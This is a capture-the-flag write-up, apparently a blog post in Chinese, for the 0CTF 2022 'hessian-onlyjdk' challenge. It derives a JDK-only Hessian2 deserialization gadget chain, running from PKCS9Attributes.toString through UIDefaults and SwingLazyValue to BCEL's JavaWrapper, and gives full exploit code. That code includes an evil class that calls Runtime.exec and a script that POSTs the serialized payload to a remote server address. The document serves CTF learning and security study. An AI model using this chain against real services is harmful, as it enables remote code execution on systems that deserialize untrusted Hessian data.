Spec

0CTF2022-hessian-onlyjdk-WriteUp


2022-09-19

依赖只存在jdk8u324和hessian2,目标是代码执行就行

根据题目的hint:

https://y4er.com/posts/wangdingbei-badbean-hessian2/

https://x-stream.github.io/CVE-2021-21346.html

第一个提示从toString出发即可,第二个意思是利用JDK中的SwingLazyValue这条链

1
2
3
4
5
6
javax.swing.MultiUIDefaults.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()

sun.swing.SwingLazyValue#createValue可以调用任意静态方法或者一个构造函数

不过这篇文章也指出https://paper.seebug.org/1814/

经过测试,发现没法使用:

  • javax.swing.MultiUIDefaults是peotect类,只能在javax.swing.中使用,而且Hessian2拿到了构造器,但是没有setAccessable,newInstance就没有权限
  • 所以要找链的话需要类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2会自动挨个测试构造器直到成功

然后对于存在Map类型的利用链,例如ysoserial中的cc5部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

这个也是无法利用的,因为Hessian2在恢复map类型的对象时,硬编码成了HashMap或者TreeMap,这里LazeMap就断了。

扫了下basic项目自带的包,没找到能用的链,三方包中找到利用链的可能性比较大一些。

所以这条链就只能使用这部分

1
2
3
4
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue

需要自行构造前一部分,从toStringHashTable.get()UIDefaults extends Hashtable),同时也注意到是使用的hessian2反序列化,所以呢可以不用所有需要序列化的类型都实现java.io.Serializable

配合一些审计工具(比如codeql或者bytedl)很容易就能发现从 toString() -> HashTable.get()的路径

我这里找的是sun.security.pkcs.PKCS9Attributes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public String toString() {
StringBuffer var1 = new StringBuffer(200);
var1.append("PKCS9 Attributes: [\n\t");
boolean var4 = true;

for(int var5 = 1; var5 < PKCS9Attribute.PKCS9_OIDS.length; ++var5) {
PKCS9Attribute var3 = this.getAttribute(PKCS9Attribute.PKCS9_OIDS[var5]);
if (var3 != null) {
if (var4) {
var4 = false;
} else {
var1.append(";\n\t");
}

var1.append(var3.toString());
}
}

var1.append("\n\t] (end PKCS9 Attributes)");
return var1.toString();
}

调用getAttribute

1
2
3
public PKCS9Attribute getAttribute(ObjectIdentifier var1) {
return (PKCS9Attribute)this.attributes.get(var1);
}

这个this.attributes刚好是个HashTable,所以就很简单了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
out.getSerializerFactory().setAllowNonSerializable(true);//这样就不用都要求实现java.io.Serializable


PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();

uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue(classname,methodname, new Object[]{}));
//可以调用任意classname中的静态公共方法methodname,第三个参数是传递的参数
Reflections.setFieldValue(s,"attributes",uiDefaults);

out.writeString("aaa");//这里我使用的是修改后的Hessian2Output.java,完全是照这篇文章https://y4er.com/posts/wangdingbei-badbean-hessian2/ 修改的Hessian2Output.java
out.writeObject(s);
out.flushBuffer();

try {
Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream((byteArrayOutputStream.toByteArray())));
hessian2Input.readObject();

} catch (Exception var5) {
var5.printStackTrace();
}

然后题目中还给出了一个javaagent,只不过呢是二进制写的,后来我试了下,是将这个com.sun.org.apache.xml.internal.security.utils.JavaUtils类给ban掉了,这个类中的静态公共方法可以写文件,并且满足上面SwingLazyValue调用条件

所以呢需要重新在提供的jdk中寻找一个合适的,我最后是找到这个地方,我寻找的方法比较低效就不细说,不过呢我当时有个大体的思路,因为是只能调用静态公共方法,这种方法写出来一般是拿来用的,就是说至少会完成某个功能。而且由于是静态方法,跟调用类中的其他实例成员就感觉没啥关系,唯一还可以控制的地方就只有调用时传入的参数了,这样看下来感觉就不用去更精巧的构造某些东西,同时我当时也是知道这个jdk有bcel类加载器,所以说我感觉很大概率就会有可控的地方走到Runtime.exec()或者Class.forName(),不过能利用Runtime.exec()的地方同时还要符合条件我当时没找到,考虑Class.forName也是因为存在bcel加载器,同时也知道bcel加载器实际最后起作用的是loadClass,所以也要把loadClass考虑进sink点,最后呢配合工具,然后重点关注跟bcel加载器同一个包的类,因为感觉同包的类使用bcel加载器的概率更大,最后如愿以偿找到这个

com.sun.org.apache.bcel.internal.util.JavaWrapper

1
2
3
4
5
6
7
8
9
10
11
public static void _main(String[] argv) throws Exception {
if (argv.length == 0) {
System.out.println("Missing class name.");
} else {
String class_name = argv[0];
String[] new_argv = new String[argv.length - 1];
System.arraycopy(argv, 1, new_argv, 0, new_argv.length);
JavaWrapper wrapper = new JavaWrapper();
wrapper.runMain(class_name, new_argv);
}
}

进入wrapper.runMain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public void runMain(String class_name, String[] argv) throws ClassNotFoundException {
Class cl = this.loader.loadClass(class_name);
Method method = null;

try {
method = cl.getMethod("_main", argv.getClass());
int m = method.getModifiers();
Class r = method.getReturnType();
if (!Modifier.isPublic(m) || !Modifier.isStatic(m) || Modifier.isAbstract(m) || r != Void.TYPE) {
throw new NoSuchMethodException();
}
} catch (NoSuchMethodException var8) {
System.out.println("In class " + class_name + ": public static void _main(String[] argv) is not defined");
return;
}

try {
method.invoke((Object)null, argv);
} catch (Exception var7) {
var7.printStackTrace();
}

}

这里的 this.loader回过头去看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private static ClassLoader getClassLoader() {
String s = SecuritySupport.getSystemProperty("bcel.classloader");
if (s == null || "".equals(s)) {
s = "com.sun.org.apache.bcel.internal.util.ClassLoader";
}

try {
return (ClassLoader)Class.forName(s).newInstance();
} catch (Exception var2) {
throw new RuntimeException(var2.toString());
}
}

public JavaWrapper(ClassLoader loader) {
this.loader = loader;
}

public JavaWrapper() {
this(getClassLoader());
}

_main里默认实例化一个JavaWrapper会调用到getClassLoader,刚好会将this.loader初始化为bcel加载器,接下来就很简单了

最后的paylaod

1
2
3
4
5
6
public class evil {
public static void _main(String[] argv) throws Exception {
Runtime.getRuntime().exec("touch /tmp/sie");
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import Utils.Reflections;
import com.caucho.hessian.io.Hessian2Output;
import org.springframework.http.HttpEntity;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.net.URI;

import static Utils.Reflections.createWithoutConstructor;



public class test {
public static void doPOST(byte[] obj) throws Exception{
URI url = new URI("http://47.90.137.5:8090/");
HttpEntity<byte[]> requestEntity = new HttpEntity<>(obj);
RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getBody());
}
public static void main(String[] args) throws Exception {

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
out.getSerializerFactory().setAllowNonSerializable(true);


PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();

uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{"$$BCEL$$$xxxxx","s"}}));

Reflections.setFieldValue(s,"attributes",uiDefaults);

out.writeString("aaa");//触发toString
out.writeObject(s);
out.flushBuffer();

try {
doPOST(byteArrayOutputStream.toByteArray());

} catch (Exception var5) {
var5.printStackTrace();
}
}
}